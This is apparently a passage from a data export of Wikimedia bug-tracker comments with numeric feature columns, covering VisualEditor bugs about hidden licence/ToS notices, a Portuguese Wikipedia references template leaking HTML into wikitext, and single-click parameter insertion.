These messages informed the user about verifiability as well as licensing issues.

But if this message is truly not going to be displayed in VE, and VE is the way of the future, then the message should be deprecated and deleted from those wikis (with community consensus after explaining to them they have no other option :P), otherwise user's of VE receive less information then those of SE, for good or ill.  (in this case this bug should be moved over the core component)"
232189,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"(In reply to comment #7)
> Resolved-Fixed -> Resolved->Invalid.  What the?!

Not a bug in VisualEditor; itwiki had removed the licence information from the, err, licence information message. Oliver fixed it by editing the message to restore the licence warning. No changes to VisualEditor actually happened.

We are fixing enough bugs without having to artificially inflate the numbers of how much we're doing. :-)",,,1374643164,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,1.0,11.0,1.0,0.0,10.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,14.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,5.0,0.0,0.0,0.0,4.301369863013699,0.7671232876712328,"(In reply to comment #7)
QUOTE

Not a bug in VisualEditor; itwiki had removed the licence information from the, err, licence information message. Oliver fixed it by editing the message to restore the licence warning. No changes to VisualEditor actually happened.

We are fixing enough bugs without having to artificially inflate the numbers of how much we're doing. :-)"
232183,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,Resolved-Fixed -> Resolved->Invalid.  What the?!,,,1374642996,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,33.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,Resolved-Fixed -> Resolved->Invalid.  What the?!
232176,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,Now resolved; thanks all :).,,,1374601920,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Now resolved; thanks all :).
232170,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"PS: (it's not just about copyright, in our case) http://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Legal_issue:_copyright_and_other_warnings_must_be_visible_above_the_%22save%22_button

Thanks.",,,1374595261,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,1.0,"PS: (it's not just about copyright, in our case) URL

Thanks."
232164,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"On the Italian Wikipedia that does not happen though, please tell me if there is anything I can do to fix this ASAP.

In the past some users at itwp asked if the copyright/warning notices we use (https://it.wikipedia.org/wiki/MediaWiki:Wikimedia-editpage-tos-summary ) under the edit windows could be removed for experienced users, but the option was always discarded on the basis that a more prominent notice than the one in the footer was necessary for ""legal"" reasons (yes, people don't usually read or understand what it says anyway, but certainly they can't complain they don't get enough notice about this. And we do care a lot about this topic.)
I can see the notice when I try to save on en.wp, although it is so small I almost can't read it with Monobook on Chrome, but it does not show up on it.wiki, and since I don't want patrollers to report additional copyright issues after deployment, I'd ask for advice about this. Thanks.",,,1374588009,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,3,,0.5,0.5,0.0,1.0,3.5,3.5,1.0,0.0,1.0,1.0,1.0,3.0,0.0,0.5,0.5,4.5,0.0,8.5,14.0,0.5,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,5.5,4.0,2.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,12.5,1.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.5,0.0,1.0,5.5,2.5,8.5,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.5,1.0,0.5,0.0,8.0,14.0,3.5,0.0,1.0,0.0,8.0,0.0,1.5,1.0,0.5,0.0,0.5,0.0,0.0,3.8031914893617023,0.75,"On the Italian Wikipedia that does not happen though, please tell me if there is anything I can do to fix this ASAP.

In the past some users at itwp asked if the copyright/warning notices we use (URL ) under the edit windows could be removed for experienced users, but the option was always discarded on the basis that a more prominent notice than the one in the footer was necessary for ""legal"" reasons (yes, people don't usually read or understand what it says anyway, but certainly they can't complain they don't get enough notice about this. And we do care a lot about this topic.)
I can see the notice when I try to save on en.wp, although it is so small I almost can't read it with Monobook on Chrome, but it does not show up on it.wiki, and since I don't want patrollers to report additional copyright issues after deployment, I'd ask for advice about this. Thanks."
232158,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"I'm confused. Because it's part of MediaWiki core, it can't be overridden or suppressed by an extension? A large chunk of the extensions we practically use suppresses elements of core. This would seem to conflict with the practical use and applications of our extensions. Similarly, removing it would be rather unfair to, for example, third-party users, since VisualEditor and Parsoid are both extensions. We do not include them in the standard tarball.

The message is useful, yes, but replicated in a form in the VE. If you've used the VE, you'll know the ToS link and release are given prominent placement, not ""tucked away down the bottom of the page"". The only occasions on which the ToS /are/ tucked away down the bottom of the page is in namespaces and wikis without VisualEditor/Parsoid....where editpage-head-copy-warn is not suppressed.",,,1374338671,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,2.0,5.0,2.5,0.5,0.0,0.5,2.5,2.0,0.0,1.0,0.0,2.0,0.0,4.0,13.0,0.0,0.5,0.0,0.5,0.0,1.0,2.0,0.5,1.0,0.0,1.5,0.0,6.0,0.5,1.5,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,4.0,0.0,1.0,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.5,2.0,3.0,10.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,5.0,13.0,5.0,0.5,1.0,0.0,5.0,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,4.061259143155695,0.6911572622779519,"I'm confused. Because it's part of MediaWiki core, it can't be overridden or suppressed by an extension? A large chunk of the extensions we practically use suppresses elements of core. This would seem to conflict with the practical use and applications of our extensions. Similarly, removing it would be rather unfair to, for example, third-party users, since VisualEditor and Parsoid are both extensions. We do not include them in the standard tarball.

The message is useful, yes, but replicated in a form in the VE. If you've used the VE, you'll know the ToS link and release are given prominent placement, not ""tucked away down the bottom of the page"". The only occasions on which the ToS /are/ tucked away down the bottom of the page is in namespaces and wikis without VisualEditor/Parsoid....where editpage-head-copy-warn is not suppressed."
232152,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"This message is part of mediawiki.  If the message is extraneous, it should be removed.  Until that happens, it should be part of the VE.

On English Wikipedia this message includes ""Encyclopedic content must be verifiable."" and a prominent link to the ToS, which is otherwise tucked away down the bottom of the page.",,,1374309537,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,13.0,1.0,1.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,13.0,7.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.955223880597015,0.6567164179104478,"This message is part of mediawiki.  If the message is extraneous, it should be removed.  Until that happens, it should be part of the VE.

On English Wikipedia this message includes ""Encyclopedic content must be verifiable."" and a prominent link to the ToS, which is otherwise tucked away down the bottom of the page."
232145,VisualEditor UI does not display MediaWiki:Editpage-head-copy-warn or MediaWiki:Wikimedia-editpage-tos-summary,"I would argue that this is somewhat extraneous; I don't think anyone actually reads it. Really it exists primarily so that when someone whines about their content being deleted, we can go ""there was a notice"". It undoubtedly did serve a purpose on the Good Old Days {{cn}} when our terms of service were written on a napkin - but these days Geoff and the team have produced the rather concise and all-encompassing https://wikimediafoundation.org/wiki/Terms_of_Use, which covers (amongst other things) copyright infringements and redistribution - and is linked to in the interface.

I appreciate it's slightly more obscure than an editnotice, but it's also the approach taken by every other website on the planet: users can't really claim they were ignorant unless we're the only place on the internet they visit.",,,1373537154,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m4tvj6xkn7aqhr4yajip,task_subcomment,,True,c1,3,False,,,1,,1.5,1.0,0.0,1.5,1.0,3.5,1.0,0.0,0.0,0.5,0.5,2.0,0.0,2.0,0.5,3.5,0.5,8.5,8.5,1.0,0.0,0.0,0.5,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.5,7.5,1.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,12.0,1.0,0.5,0.0,2.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,7.0,3.5,5.5,3.0,3.5,9.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,8.0,8.5,2.0,0.0,1.0,0.0,8.0,0.0,1.5,2.0,0.0,0.5,0.5,0.0,0.0,4.136363636363637,0.8311688311688312,"I would argue that this is somewhat extraneous; I don't think anyone actually reads it. Really it exists primarily so that when someone whines about their content being deleted, we can go ""there was a notice"". It undoubtedly did serve a purpose on the Good Old Days {{cn}} when our terms of service were written on a napkin - but these days Geoff and the team have produced the rather concise and all-encompassing URL which covers (amongst other things) copyright infringements and redistribution - and is linked to in the interface.

I appreciate it's slightly more obscure than an editnotice, but it's also the approach taken by every other website on the planet: users can't really claim they were ignorant unless we're the only place on the internet they visit."
53145,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"1. Go to
https://pt.wikipedia.org/wiki/Associação_Médico-Espírita_do_Brasil?oldid=36199569&veaction=edit
2. Click in the box in the top of the page and delete it
3. Click on ""Save page"" and then ""Review your changes""
The editor will add the code
<div class=""reflist references-small"" style><references /></div>
in the bottom of the page, as in this diff:
https://pt.wikipedia.org/wiki/Associação_Médico-Espírita_do_Brasil?diff=36364362&uselang=en

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51260",High,80.0,1373499540,1383140692.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-re6qm3cualjp5dczcmlc,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,9.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.1616161616161618,0.5454545454545454,"1. Go to
URL
2. Click in the box in the top of the page and delete it
3. Click on ""Save page"" and then ""Review your changes""
The editor will add the code
<div class=""reflist references-small"" style><references /></div>
in the bottom of the page, as in this diff:
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
231053,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"I was NOT able to reproduce it following the steps from comment 0 and of comment 3, and also in the case of comment 4. Moreover, I don't remember seeing any new reports on this, so I'm marking this as FIXED (but I don't know which code change fixed the bug).",,,1383140692,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,17,,2.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,7.0,0.0,10.0,11.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,8.0,11.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4098360655737703,0.7540983606557377,"I was NOT able to reproduce it following the steps from comment 0 and of comment 3, and also in the case of comment 4. Moreover, I don't remember seeing any new reports on this, so I'm marking this as FIXED (but I don't know which code change fixed the bug)."
231047,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,I can't reproduce this now using a simple test case.  Has it still been happening on pt.wp?,,,1383133476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,3.5714285714285716,1.0,I can't reproduce this now using a simple test case.  Has it still been happening on pt.wp?
231043,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"This happened again:
https://pt.wikipedia.org/wiki/Haroldo_Palo_Jr.?diff=36430552",,,1374085008,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"This happened again:
URL"
231038,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"This little devil can be reproduced at
https://pt.wikipedia.org/wiki/User:John_Vandenberg/demo?veaction=edit
(remove the template at the top and click save)

It is a very common case, and VE cant be used safely on pt.wp until this is fixed.

Im guessing this is related to the high priority Cite enhancement bug 51260.",,,1373760927,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,2.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,8.0,10.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,8.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.542372881355932,0.8135593220338984,"This little devil can be reproduced at
URL
(remove the template at the top and click save)

It is a very common case, and VE cant be used safely on pt.wp until this is fixed.

Im guessing this is related to the high priority Cite enhancement bug 51260."
231032,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"(In reply to comment #1)
> I don't know if this is relevant, but the same code ""{{referências}}"" expands
> to something different on [[pt:special:ExpandTemplates]]:
> 
> <h2 style=""cursor:help"" title=""Esta seção não é editável por razões técnicas.
> Edite a página toda em vez disso."">Referências</h2>
> <div class=""reflist references-small"" style=""""><references
> group=""""></references></div>
> 
> 
> Direct link:
> https://pt.wikipedia.org/w/index.php?title=Especial:
> Expandir_predefini%C3%A7%C3%B5es&input=%7B%7Brefer%C3%AAncias%7D%7D&contextti
> tle=Associa%C3%A7%C3%A3o+M%C3%A9dico-
> Esp%C3%ADrita+do+Brasil&removecomments=true&removenowiki=true

That's pretty much the same as the expansion that leaks into the article, except for the first tag (the <h2>).",,,1373658096,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,25.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.078125,0.5,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's pretty much the same as the expansion that leaks into the article, except for the first tag (the <h2>)."
231028,VisualEditor: {{referências}} injects additional HTML (<div><references /></div>) into wikitext,"I don't know if this is relevant, but the same code ""{{referências}}"" expands to something different on [[pt:special:ExpandTemplates]]:

<h2 style=""cursor:help"" title=""Esta seção não é editável por razões técnicas. Edite a página toda em vez disso."">Referências</h2>
<div class=""reflist references-small"" style=""""><references group=""""></references></div>


Direct link:
https://pt.wikipedia.org/w/index.php?title=Especial:Expandir_predefini%C3%A7%C3%B5es&input=%7B%7Brefer%C3%AAncias%7D%7D&contexttitle=Associa%C3%A7%C3%A3o+M%C3%A9dico-Esp%C3%ADrita+do+Brasil&removecomments=true&removenowiki=true",,,1373500632,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-re6qm3cualjp5dczcmlc,task_subcomment,,True,c1,3,False,,,1,,0.0,1.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,6.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,4.0,22.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,9.0,4.294871794871795,0.8076923076923077,"I don't know if this is relevant, but the same code ""{{referências}}"" expands to something different on [[pt:special:ExpandTemplates]]:

<h2 style=""cursor:help"" title=""Esta seção não é editável por razões técnicas. Edite a página toda em vez disso."">Referências</h2>
<div class=""reflist references-small"" style=""""><references group=""""></references></div>


Direct link:
URL"
53143,VisualEditor: Double-click on a parameter in the selection menu should insert it,"From English Wikipedia:

In the template dialog, in the add parameter view, I would expect double-clicking on a parameter would add it, instead of having to find the add parameter button at the end of the list (which should, by the way, not be at the end of a scrolling 

list, but always visible in a fixed place). --WS (talk) 12:17, 9 July 2013 (UTC)
Agree with this - it took me a while to figure out that I had to scroll to the bottom of a long list of reference parameters to find the button. GoingBatty (talk) 04:58, 10 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1373498580,1373932741.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,12.0,0.0,2.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,1.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.5,0.5,8.5,0.5,0.5,9.0,0.0,0.0,0.0,0.0,5.5,0.0,4.0,0.0,3.5,12.0,4.5,0.0,0.0,0.0,3.5,0.0,0.5,3.0,0.5,0.5,0.0,0.0,0.0,3.523509811181044,0.6462421325435024,"From English Wikipedia:

In the template dialog, in the add parameter view, I would expect double-clicking on a parameter would add it, instead of having to find the add parameter button at the end of the list (which should, by the way, not be at the end of a scrolling 

list, but always visible in a fixed place). --WS (talk) 12:17, 9 July 2013 (UTC)
Agree with this - it took me a while to figure out that I had to scroll to the bottom of a long list of reference parameters to find the button. GoingBatty (talk) 04:58, 10 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255495,VisualEditor: Double-click on a parameter in the selection menu should insert it,*** Bug 51165 has been marked as a duplicate of this bug. ***,,,1377527402,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51165 has been marked as a duplicate of this bug. ***
255489,VisualEditor: Double-click on a parameter in the selection menu should insert it,"This is now done (as a single-click-to-insert), and will be deployed in the next few minutes.",,,1373932741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,True,,,2,,4.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9230769230769231,"This is now done (as a single-click-to-insert), and will be deployed in the next few minutes."
255482,VisualEditor: Double-click on a parameter in the selection menu should insert it,"Change 73865 merged by jenkins-bot:
Single-click insertion

https://gerrit.wikimedia.org/r/73865",,,1373932430,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ey7x6n5abzoqr3wo43j,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"Change 73865 merged by jenkins-bot:
Single-click insertion

GERRIT_URL"
